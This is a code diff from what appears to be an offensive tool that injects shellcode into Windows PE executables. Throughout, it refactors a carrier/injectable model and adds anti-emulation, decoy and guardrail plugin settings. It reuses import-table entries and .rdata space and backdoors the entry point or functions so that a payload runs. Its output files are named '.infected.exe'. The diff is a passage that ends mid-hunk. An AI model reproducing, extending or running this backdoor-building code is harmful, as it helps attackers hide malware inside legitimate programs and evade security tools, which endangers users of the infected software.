PATH_CARRIER = "data/source/carrier/"
|
||||||
PATH_PAYLOAD = "data/source/payload/"
|
PATH_PAYLOAD = "data/source/payload/"
|
||||||
PATH_DECODER = "data/source/carrier/decoder/"
|
|
||||||
|
PATH_DECODER = "data/source/decoder/"
|
||||||
|
PATH_ANTIEMULATION = "data/source/antiemulation/"
|
||||||
|
PATH_DECOY = "data/source/decoy/"
|
||||||
|
PATH_GUARDRAILS = "data/source/guardrails/"
|
||||||
|
PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
|
||||||
|
|
||||||
PATH_WEB_PROJECT = "projects/"
|
PATH_WEB_PROJECT = "projects/"
|
||||||
|
|
||||||
|
|
||||||
# Correlated with real template files
|
|
||||||
# in data/plugins/
|
|
||||||
class DecoderStyle(Enum):
|
|
||||||
PLAIN_1 = "plain_1"
|
|
||||||
XOR_1 = "xor_1"
|
|
||||||
XOR_2 = "xor_2"
|
|
||||||
|
|
||||||
|
|
||||||
class PayloadLocation(Enum):
|
class PayloadLocation(Enum):
|
||||||
CODE = "code"
|
CODE = ".text"
|
||||||
DATA = "data"
|
DATA = ".rdata"
|
||||||
|
|
||||||
|
|
||||||
class CarrierInvokeStyle(Enum):
|
class CarrierInvokeStyle(Enum):
|
||||||
ChangeEntryPoint = "change EntryPoint"
|
ChangeEntryPoint = "change EntryPoint"
|
||||||
BackdoorCallInstr = "hijack Main"
|
BackdoorCallInstr = "backdoor Entrypoint"
|
||||||
|
|
||||||
|
|
||||||
class FunctionInvokeStyle(Enum):
|
class FunctionInvokeStyle(Enum):
|
||||||
|
|||||||
@@ -6,37 +6,65 @@ from model.defs import *
|
|||||||
from pe.superpe import SuperPe, PeSection
|
from pe.superpe import SuperPe, PeSection
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger("Carrier")
|
logger = logging.getLogger("Injectable")
|
||||||
|
|
||||||
|
|
||||||
class IatRequest():
|
class IatRequest():
|
||||||
def __init__(self, name: str, placeholder: bytes):
|
def __init__(self, name: str, placeholder: bytes):
|
||||||
self.name: str = name # Function Name, like "VirtualAlloc"
|
self.name: str = name # Function Name, like "VirtualAlloc"
|
||||||
self.placeholder: bytes = placeholder # Random bytes as placeholder
|
self.references: List[bytes] = []
|
||||||
|
self.add_reference(placeholder)
|
||||||
|
|
||||||
|
def add_reference(self, placeholder):
|
||||||
|
self.references.append(placeholder)
|
||||||
|
|
||||||
|
|
||||||
|
class DataReuseReference():
|
||||||
|
def __init__(self, placeholder: bytes, register: str):
|
||||||
|
self.placeholder: bytes = placeholder
|
||||||
|
self.register: str = register
|
||||||
|
|
||||||
|
|
||||||
class DataReuseEntry():
|
class DataReuseEntry():
|
||||||
def __init__(self, string_ref: str):
|
def __init__(self, string_ref: str, in_code: bool = False):
|
||||||
self.string_ref: str = string_ref # "$SG72513"
|
self.string_ref: str = string_ref # "$SG72513"
|
||||||
|
self.data: bytes = b'' # the content/data
|
||||||
|
self.addr: int = 0 # where content/data is stored
|
||||||
|
self.in_code: bool = in_code # is the data in code section
|
||||||
|
|
||||||
self.register: str = "" # "rcx"
|
self.references: List[DataReuseReference] = []
|
||||||
self.randbytes: bytes = b"" # placeholder
|
|
||||||
self.data: bytes = b''
|
|
||||||
self.addr: int = 0
|
|
||||||
|
|
||||||
|
|
||||||
class Carrier():
|
def add_reference(self, placeholder, register):
|
||||||
|
self.references.append(DataReuseReference(placeholder, register))
|
||||||
|
|
||||||
|
|
||||||
|
class Injectable():
|
||||||
def __init__(self, exe_file: str):
|
def __init__(self, exe_file: str):
|
||||||
self.iat_requests: List[IatRequest] = []
|
self.iat_requests: List[IatRequest] = []
|
||||||
self.reusedata_fixups: List[DataReuseEntry] = []
|
self.reusedata_fixups: List[DataReuseEntry] = []
|
||||||
self.exe_filepath: str = exe_file
|
self.exe_filepath: str = exe_file
|
||||||
self.superpe: SuperPe = None
|
self.superpe: SuperPe = None
|
||||||
|
|
||||||
|
|
||||||
def init(self):
|
def init(self):
|
||||||
self.superpe = SuperPe(self.exe_filepath)
|
self.superpe = SuperPe(self.exe_filepath)
|
||||||
|
|
||||||
|
|
||||||
|
# IAT
|
||||||
|
|
||||||
|
def add_iat_request(self, func_name: str, placeholder: bytes):
|
||||||
|
# existing?
|
||||||
|
for iat in self.iat_requests:
|
||||||
|
if iat.name == func_name:
|
||||||
|
iat.add_reference(placeholder)
|
||||||
|
return
|
||||||
|
|
||||||
|
# new
|
||||||
|
self.iat_requests.append(IatRequest(func_name, placeholder))
|
||||||
|
|
||||||
|
def get_all_iat_requests(self) -> List[IatRequest]:
|
||||||
|
return self.iat_requests
|
||||||
|
|
||||||
def get_unresolved_iat(self):
|
def get_unresolved_iat(self):
|
||||||
"""Returns a list of IAT entries not available in the PE file"""
|
"""Returns a list of IAT entries not available in the PE file"""
|
||||||
functions = []
|
functions = []
|
||||||
@@ -46,15 +74,6 @@ class Carrier():
|
|||||||
return functions
|
return functions
|
||||||
|
|
||||||
|
|
||||||
# IAT
|
|
||||||
|
|
||||||
def add_iat_request(self, func_name: str, placeholder: bytes):
|
|
||||||
self.iat_requests.append(IatRequest(func_name, placeholder))
|
|
||||||
|
|
||||||
def get_all_iat_requests(self) -> List[IatRequest]:
|
|
||||||
return self.iat_requests
|
|
||||||
|
|
||||||
|
|
||||||
# Data Reuse
|
# Data Reuse
|
||||||
|
|
||||||
def add_datareuse_fixup(self, fixup: DataReuseEntry):
|
def add_datareuse_fixup(self, fixup: DataReuseEntry):
|
||||||
@@ -10,12 +10,10 @@ class Payload():
|
|||||||
def __init__(self, filepath: FilePath):
|
def __init__(self, filepath: FilePath):
|
||||||
self.payload_path: FilePath = filepath
|
self.payload_path: FilePath = filepath
|
||||||
self.payload_data: bytes = b""
|
self.payload_data: bytes = b""
|
||||||
self.len: int = 0
|
|
||||||
|
|
||||||
|
|
||||||
def init(self):
|
def init(self):
|
||||||
logging.info("--( Load payload: {}".format(self.payload_path))
|
logging.info("--( Load payload: {}".format(self.payload_path))
|
||||||
with open(self.payload_path, 'rb') as f:
|
with open(self.payload_path, 'rb') as f:
|
||||||
self.payload_data = f.read()
|
self.payload_data = f.read()
|
||||||
self.len = len(self.payload_data)
|
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -4,7 +4,7 @@ import shutil
|
|||||||
from model.defs import *
|
from model.defs import *
|
||||||
from model.payload import Payload
|
from model.payload import Payload
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
from model.carrier import Carrier
|
from model.injectable import Injectable
|
||||||
|
|
||||||
logger = logging.getLogger("Project")
|
logger = logging.getLogger("Project")
|
||||||
|
|
||||||
@@ -22,7 +22,7 @@ class Project():
|
|||||||
self.comment: str = ""
|
self.comment: str = ""
|
||||||
self.settings: Settings = settings
|
self.settings: Settings = settings
|
||||||
self.payload: Payload = Payload(self.settings.payload_path)
|
self.payload: Payload = Payload(self.settings.payload_path)
|
||||||
self.carrier: Carrier = Carrier(self.settings.inject_exe_in)
|
self.injectable: Injectable = Injectable(self.settings.inject_exe_in)
|
||||||
|
|
||||||
self.project_dir: str = ""
|
self.project_dir: str = ""
|
||||||
self.project_exe: str = ""
|
self.project_exe: str = ""
|
||||||
@@ -30,7 +30,7 @@ class Project():
|
|||||||
|
|
||||||
def init(self):
|
def init(self):
|
||||||
self.payload.init()
|
self.payload.init()
|
||||||
self.carrier.init()
|
self.injectable.init()
|
||||||
|
|
||||||
|
|
||||||
def prepare_project(project_name, settings):
|
def prepare_project(project_name, settings):
|
||||||
|
|||||||
@@ -11,15 +11,18 @@ class RangeManager:
|
|||||||
self.min = min
|
self.min = min
|
||||||
self.max = max
|
self.max = max
|
||||||
|
|
||||||
|
if min > 0:
|
||||||
|
self.intervals.add(Interval(0, min))
|
||||||
|
|
||||||
|
|
||||||
def merge_overlaps(self):
|
def merge_overlaps(self):
|
||||||
self.intervals.merge_overlaps(strict=False)
|
self.intervals.merge_overlaps(strict=False)
|
||||||
|
|
||||||
|
|
||||||
def print_all(self):
|
def print_all(self):
|
||||||
logger.info("Min: {} Max: {}".format(self.min, self.max))
|
print("Min: {} Max: {}".format(self.min, self.max))
|
||||||
for i in self.intervals:
|
for i in self.intervals:
|
||||||
logger.info("Interval: {}-{}".format(i.begin, i.end))
|
print("Interval: {}-{}".format(i.begin, i.end))
|
||||||
|
|
||||||
|
|
||||||
def add_range(self, start, end):
|
def add_range(self, start, end):
|
||||||
|
|||||||
+25
-2
@@ -11,9 +11,16 @@ class Settings():
|
|||||||
|
|
||||||
# Settings
|
# Settings
|
||||||
self.carrier_name: str = ""
|
self.carrier_name: str = ""
|
||||||
self.decoder_style: DecoderStyle = DecoderStyle.XOR_1
|
self.decoder_style: str = "xor_2"
|
||||||
self.short_call_patching: bool = False
|
self.short_call_patching: bool = False
|
||||||
|
|
||||||
|
self.plugin_antiemulation = "none"
|
||||||
|
self.plugin_decoy = "none"
|
||||||
|
self.plugin_guardrail = "none"
|
||||||
|
self.plugin_guardrail_data = "C:\\Users\\"
|
||||||
|
self.plugin_virtualprotect = "standard"
|
||||||
|
self.plugin_virtualprotect_data = ""
|
||||||
|
|
||||||
self.dllfunc: str = "" # For DLL injection
|
self.dllfunc: str = "" # For DLL injection
|
||||||
|
|
||||||
# Injectable
|
# Injectable
|
||||||
@@ -31,7 +38,7 @@ class Settings():
|
|||||||
self.generate_shc_from_asm: bool = True
|
self.generate_shc_from_asm: bool = True
|
||||||
|
|
||||||
# More
|
# More
|
||||||
self.fix_missing_iat = False
|
self.fix_missing_iat = True
|
||||||
self.payload_location = PayloadLocation.DATA
|
self.payload_location = PayloadLocation.DATA
|
||||||
|
|
||||||
# directories and filenames
|
# directories and filenames
|
||||||
@@ -42,3 +49,19 @@ class Settings():
|
|||||||
self.main_shc_path = self.main_dir + "main.bin"
|
self.main_shc_path = self.main_dir + "main.bin"
|
||||||
self.inject_exe_out = "{}{}".format(
|
self.inject_exe_out = "{}{}".format(
|
||||||
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
|
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
|
||||||
|
|
||||||
|
def init_payload_injectable(self, shellcode, injectable, dll_func):
|
||||||
|
self.payload_path = PATH_SHELLCODES + shellcode
|
||||||
|
if shellcode == "createfile.bin":
|
||||||
|
self.verify = True
|
||||||
|
self.try_start_final_infected_exe = False
|
||||||
|
else:
|
||||||
|
self.cleanup_files_on_exit = False
|
||||||
|
|
||||||
|
self.inject_exe_in = injectable
|
||||||
|
self.inject_exe_out = "{}{}".format(
|
||||||
|
self.main_dir,
|
||||||
|
os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")
|
||||||
|
)
|
||||||
|
|
||||||
|
self.dllfunc = dll_func
|
||||||
+2
-2
@@ -32,7 +32,7 @@ class FunctionBackdoorer:
|
|||||||
|
|
||||||
|
|
||||||
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
|
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
|
||||||
logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr))
|
logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr))
|
||||||
|
|
||||||
addr = self.find_suitable_instruction_addr(function_addr)
|
addr = self.find_suitable_instruction_addr(function_addr)
|
||||||
if addr is None:
|
if addr is None:
|
||||||
@@ -64,7 +64,7 @@ class FunctionBackdoorer:
|
|||||||
|
|
||||||
def find_suitable_instruction_addr(self, startOffset, length=256):
|
def find_suitable_instruction_addr(self, startOffset, length=256):
|
||||||
"""Find a instruction to backdoor. Recursively."""
|
"""Find a instruction to backdoor. Recursively."""
|
||||||
logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
|
logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
|
||||||
startOffset, length, self.depth_option))
|
startOffset, length, self.depth_option))
|
||||||
|
|
||||||
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
|
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
|
||||||
|
|||||||
@@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper")
|
|||||||
# Its mostly used for verification of what we were doing.
|
# Its mostly used for verification of what we were doing.
|
||||||
|
|
||||||
|
|
||||||
|
# PRE-LOAD a dll file into memory
|
||||||
|
# This will load the DLL file into a memory buffer, already
|
||||||
|
# loaded at the correct RVA addresses (e.g. sections page aligned).
|
||||||
|
def preload_dll(payload_path: str) -> bytes:
|
||||||
|
dllPe = pefile.PE(payload_path)
|
||||||
|
dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage
|
||||||
|
payload: bytearray = bytearray(dllImageSize)
|
||||||
|
|
||||||
|
# copy PE header sizeofheaders
|
||||||
|
payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders]
|
||||||
|
|
||||||
|
# copy sections
|
||||||
|
for section in dllPe.sections:
|
||||||
|
if section.SizeOfRawData == 0:
|
||||||
|
continue
|
||||||
|
payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data()
|
||||||
|
|
||||||
|
return bytes(payload)
|
||||||
|
|
||||||
|
|
||||||
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
|
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
|
||||||
pe = pefile.PE(exe_file)
|
pe = pefile.PE(exe_file)
|
||||||
section = get_code_section(pe)
|
section = get_code_section(pe)
|
||||||
@@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes:
|
|||||||
if data[i] != b'\x00'[0]: # Check for a non-null byte
|
if data[i] != b'\x00'[0]: # Check for a non-null byte
|
||||||
return data[:i + 1]
|
return data[:i + 1]
|
||||||
return b'' # If the entire sequence is null bytes
|
return b'' # If the entire sequence is null bytes
|
||||||
|
|
||||||
|
|
||||||
|
def align_to_page_size(rva, offset, page_size=4096):
|
||||||
|
# Align to the nearest lower page boundary
|
||||||
|
aligned_address = rva & ~(page_size - 1)
|
||||||
|
real_address = aligned_address - offset
|
||||||
|
logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address))
|
||||||
|
return real_address
|
||||||
+80
-93
@@ -43,6 +43,7 @@ class SuperPe():
|
|||||||
self.iat_entries: Dict[str, IatEntry] = {}
|
self.iat_entries: Dict[str, IatEntry] = {}
|
||||||
self.init_iat_entries()
|
self.init_iat_entries()
|
||||||
|
|
||||||
|
|
||||||
def init_iat_entries(self):
|
def init_iat_entries(self):
|
||||||
self.pe.parse_data_directories()
|
self.pe.parse_data_directories()
|
||||||
self.make_iat_entries()
|
self.make_iat_entries()
|
||||||
@@ -164,72 +165,6 @@ class SuperPe():
|
|||||||
return base_relocs
|
return base_relocs
|
||||||
|
|
||||||
|
|
||||||
def getSectionIndexByDataDir(self, dirIndex):
|
|
||||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
|
|
||||||
|
|
||||||
i = 0
|
|
||||||
for sect in self.pe.sections:
|
|
||||||
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
|
|
||||||
return i
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
logger.error(f'Could not find section with directory index {dirIndex}!')
|
|
||||||
return -1
|
|
||||||
|
|
||||||
|
|
||||||
def getRemainingRelocsDirectorySize(self):
|
|
||||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
|
||||||
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
|
|
||||||
return out
|
|
||||||
|
|
||||||
|
|
||||||
def addImageBaseRelocations(self, pageRva, relocs):
|
|
||||||
assert pageRva > 0
|
|
||||||
|
|
||||||
if not self.pe.has_relocs():
|
|
||||||
logger.error("No .reloc section")
|
|
||||||
raise(Exception("No .reloc section"))
|
|
||||||
|
|
||||||
if self.is_64():
|
|
||||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64
|
|
||||||
else:
|
|
||||||
# Not really used
|
|
||||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW
|
|
||||||
|
|
||||||
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
|
|
||||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
|
||||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
|
|
||||||
sizeOfReloc = 2 * len(relocs) + 2 * 4
|
|
||||||
|
|
||||||
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
|
|
||||||
self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
|
|
||||||
self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!')
|
|
||||||
|
|
||||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
|
|
||||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
|
|
||||||
return
|
|
||||||
|
|
||||||
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
|
|
||||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
|
|
||||||
|
|
||||||
# VirtualAddress
|
|
||||||
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
|
|
||||||
|
|
||||||
# SizeOfBlock
|
|
||||||
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
|
|
||||||
|
|
||||||
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}')
|
|
||||||
i = 0
|
|
||||||
for reloc in relocs:
|
|
||||||
reloc_offset = (reloc - pageRva)
|
|
||||||
reloc_type = imageBaseRelocType << 12
|
|
||||||
|
|
||||||
relocWord = (reloc_type | reloc_offset)
|
|
||||||
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
|
|
||||||
logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}')
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
|
|
||||||
def getExportEntryPoint(self, exportName: str):
|
def getExportEntryPoint(self, exportName: str):
|
||||||
dec = lambda x: '???' if x is None else x.decode()
|
dec = lambda x: '???' if x is None else x.decode()
|
||||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||||
@@ -302,33 +237,6 @@ class SuperPe():
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
## Relocations
|
|
||||||
|
|
||||||
def get_rdata_relocmanager(self) -> RangeManager:
|
|
||||||
section = self.get_section_by_name(".rdata")
|
|
||||||
relocs = self.get_relocations_for_section(".rdata")
|
|
||||||
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
|
|
||||||
for reloc in relocs:
|
|
||||||
# Reloc destination is probably 8 bytes
|
|
||||||
# But i add another 8 to skip over small holes (common in .rdata)
|
|
||||||
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
|
|
||||||
rm.merge_overlaps()
|
|
||||||
return rm
|
|
||||||
|
|
||||||
|
|
||||||
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
|
|
||||||
section: PeSection = self.get_section_by_name(section_name)
|
|
||||||
ret = []
|
|
||||||
if section is None:
|
|
||||||
return ret
|
|
||||||
for reloc in self.get_base_relocs():
|
|
||||||
reloc_addr = reloc.rva
|
|
||||||
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
|
|
||||||
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
|
|
||||||
ret.append(reloc)
|
|
||||||
return ret
|
|
||||||
|
|
||||||
|
|
||||||
## IAT
|
## IAT
|
||||||
|
|
||||||
def get_vaddr_of_iatentry(self, func_name: str) -> int:
|
def get_vaddr_of_iatentry(self, func_name: str) -> int:
|
||||||
@@ -414,6 +322,66 @@ class SuperPe():
|
|||||||
offset, func_name, new_name_bytes.decode()))
|
offset, func_name, new_name_bytes.decode()))
|
||||||
self.pe.set_bytes_at_offset(offset, new_name_bytes)
|
self.pe.set_bytes_at_offset(offset, new_name_bytes)
|
||||||
|
|
||||||
|
## .rdata manager
|
||||||
|
def get_rdata_rangemanager(self) -> RangeManager:
|
||||||
|
section = self.get_section_by_name(".rdata")
|
||||||
|
relocs = self.get_relocations_for_section(".rdata")
|
||||||
|
rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
|
||||||
|
for reloc in relocs:
|
||||||
|
# Reloc destination is probably 8 bytes
|
||||||
|
# But i add another 8 to skip over small holes (common in .rdata)
|
||||||
|
rm.add_range(reloc.rva, reloc.rva + 8 + 8)
|
||||||
|
|
||||||
|
if True: # FIXME this is a hack which is sometimes necessary?
|
||||||
|
sect_data_copy = section.pefile_section.get_data()
|
||||||
|
string_off = find_first_utf16_string_offset(sect_data_copy)
|
||||||
|
if string_off == None:
|
||||||
|
raise Exception("Strings not found in .rdata section, abort")
|
||||||
|
if string_off < 128:
|
||||||
|
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
||||||
|
string_off = 128
|
||||||
|
rm.add_range(section.virt_addr, section.virt_addr + string_off)
|
||||||
|
|
||||||
|
rm.merge_overlaps()
|
||||||
|
return rm
|
||||||
|
|
||||||
|
|
||||||
|
def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
|
||||||
|
section: PeSection = self.get_section_by_name(section_name)
|
||||||
|
ret = []
|
||||||
|
if section is None:
|
||||||
|
return ret
|
||||||
|
for reloc in self.get_base_relocs():
|
||||||
|
reloc_addr = reloc.rva
|
||||||
|
if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
|
||||||
|
#logger.info("ADDR: 0x{:X}".format(reloc_addr))
|
||||||
|
ret.append(reloc)
|
||||||
|
return ret
|
||||||
|
|
||||||
|
|
||||||
|
def get_code_rangemanager(self) -> RangeManager:
|
||||||
|
code_section = self.get_code_section()
|
||||||
|
if code_section == None:
|
||||||
|
raise Exception('Could not find code section in input PE file!')
|
||||||
|
code_section_size = code_section.Misc_VirtualSize
|
||||||
|
|
||||||
|
# Restrictions for putting data into .text:
|
||||||
|
# - enough space for carrier + payload
|
||||||
|
# - avoid overwriting entry point function
|
||||||
|
# - carrier should not generate much smaller holes in .text
|
||||||
|
|
||||||
|
rm = RangeManager(
|
||||||
|
code_section.VirtualAddress,
|
||||||
|
code_section.VirtualAddress + code_section_size)
|
||||||
|
|
||||||
|
# protect entrypoint a bit
|
||||||
|
entrypoint_rva = self.get_entrypoint()
|
||||||
|
rm.add_range(
|
||||||
|
entrypoint_rva - 0x100,
|
||||||
|
entrypoint_rva + 0x100)
|
||||||
|
|
||||||
|
return rm
|
||||||
|
|
||||||
|
|
||||||
## Helpers
|
## Helpers
|
||||||
|
|
||||||
@@ -444,3 +412,22 @@ class SuperPe():
|
|||||||
|
|
||||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def find_first_utf16_string_offset(data, min_len=8):
|
||||||
|
current_string = bytearray()
|
||||||
|
start_offset = None # To keep track of the start of the current string
|
||||||
|
for i in range(0, len(data) - 1, 2):
|
||||||
|
# Check if we have a valid character
|
||||||
|
if data[i] != 0 or data[i+1] != 0:
|
||||||
|
if start_offset is None: # Mark the start of a new string
|
||||||
|
start_offset = i
|
||||||
|
current_string += bytes([data[i], data[i+1]])
|
||||||
|
else:
|
||||||
|
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
|
||||||
|
return start_offset # Return the offset where the string starts
|
||||||
|
current_string = bytearray()
|
||||||
|
start_offset = None # Reset start offset for the next string
|
||||||
|
|
||||||
|
return None # No string found that meets the criteria
|
||||||
+21
-50
@@ -2,13 +2,13 @@ import os
|
|||||||
from typing import List, Dict
|
from typing import List, Dict
|
||||||
|
|
||||||
from helper import *
|
from helper import *
|
||||||
from model.carrier import Carrier, DataReuseEntry, IatRequest
|
from model.injectable import Injectable, DataReuseEntry, IatRequest
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
|
|
||||||
logger = logging.getLogger("AsmTextParser")
|
logger = logging.getLogger("AsmTextParser")
|
||||||
|
|
||||||
|
|
||||||
def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]:
|
def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]:
|
||||||
lines_out = []
|
lines_out = []
|
||||||
lines = asm_text.split("\n")
|
lines = asm_text.split("\n")
|
||||||
|
|
||||||
@@ -55,54 +55,26 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# PATCH external shellcode reference
|
# PATCH external shellcode reference
|
||||||
if settings.payload_location == PayloadLocation.CODE:
|
|
||||||
## mov rdi, QWORD PTR supermega_payload
|
|
||||||
## to
|
|
||||||
## lea rdi, [shcstart] ; get payload shellcode address
|
|
||||||
if "supermega_payload" in line:
|
|
||||||
updated_line = line
|
|
||||||
updated_line = updated_line.replace(
|
|
||||||
"mov ",
|
|
||||||
"lea "
|
|
||||||
)
|
|
||||||
updated_line = updated_line.replace(
|
|
||||||
"QWORD PTR supermega_payload",
|
|
||||||
"[shcstart] ; get payload shellcode address"
|
|
||||||
)
|
|
||||||
lines_out.append(updated_line)
|
|
||||||
continue
|
|
||||||
elif settings.payload_location == PayloadLocation.DATA:
|
|
||||||
## mov rdi, QWORD PTR supermega_payload
|
## mov rdi, QWORD PTR supermega_payload
|
||||||
## to
|
## to
|
||||||
## lea rdi, XXX
|
## lea rdi, XXX
|
||||||
if "supermega_payload" in line:
|
if "supermega_payload" in line:
|
||||||
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
|
|
||||||
string_ref = "supermega_payload"
|
string_ref = "supermega_payload"
|
||||||
|
|
||||||
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
|
# should already exist (added before)
|
||||||
|
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
|
||||||
if datareuse_fixup == None:
|
if datareuse_fixup == None:
|
||||||
raise Exception("Data reuse entry not found: {}".format(string_ref))
|
raise Exception("Data reuse entry not found: {}".format(string_ref))
|
||||||
|
|
||||||
|
# add a reference
|
||||||
|
placeholder: bytes = os.urandom(7) # LEA is 7 bytes
|
||||||
register = line.split("mov\t")[1].split(",")[0]
|
register = line.split("mov\t")[1].split(",")[0]
|
||||||
|
datareuse_fixup.add_reference(placeholder, register)
|
||||||
|
|
||||||
datareuse_fixup.register = register
|
# add lines
|
||||||
datareuse_fixup.randbytes = randbytes
|
line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
|
||||||
|
|
||||||
line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format()
|
|
||||||
lines_out.append(line)
|
lines_out.append(line)
|
||||||
continue
|
continue
|
||||||
else:
|
|
||||||
raise Exception("Unknown payload location: {}".format(settings.payload_location))
|
|
||||||
|
|
||||||
# ADD label at end of code
|
|
||||||
# we cant reliably identify in which function, so we just add it at the end
|
|
||||||
## get_time_raw ENDP
|
|
||||||
## -> add here
|
|
||||||
## _TEXT ENDS
|
|
||||||
## END
|
|
||||||
if line_idx > len(lines) - 5 and tokens[1] == "ENDP":
|
|
||||||
lines_out.append(line)
|
|
||||||
lines_out.append("shcstart: ; start of payload shellcode")
|
|
||||||
continue
|
|
||||||
|
|
||||||
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode
|
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode
|
||||||
# we replace the function call invocation with a random byte sequence
|
# we replace the function call invocation with a random byte sequence
|
||||||
@@ -112,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
|||||||
if "QWORD PTR __imp_" in line:
|
if "QWORD PTR __imp_" in line:
|
||||||
# just the function name, without __imp_
|
# just the function name, without __imp_
|
||||||
func_name = line[line.find("__imp_")+6:].rstrip()
|
func_name = line[line.find("__imp_")+6:].rstrip()
|
||||||
randbytes: bytes = os.urandom(6) # exact size or the result
|
placeholder: bytes = os.urandom(6) # exact size or the result
|
||||||
carrier.add_iat_request(func_name, randbytes)
|
injectable.add_iat_request(func_name, placeholder)
|
||||||
new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
|
|
||||||
|
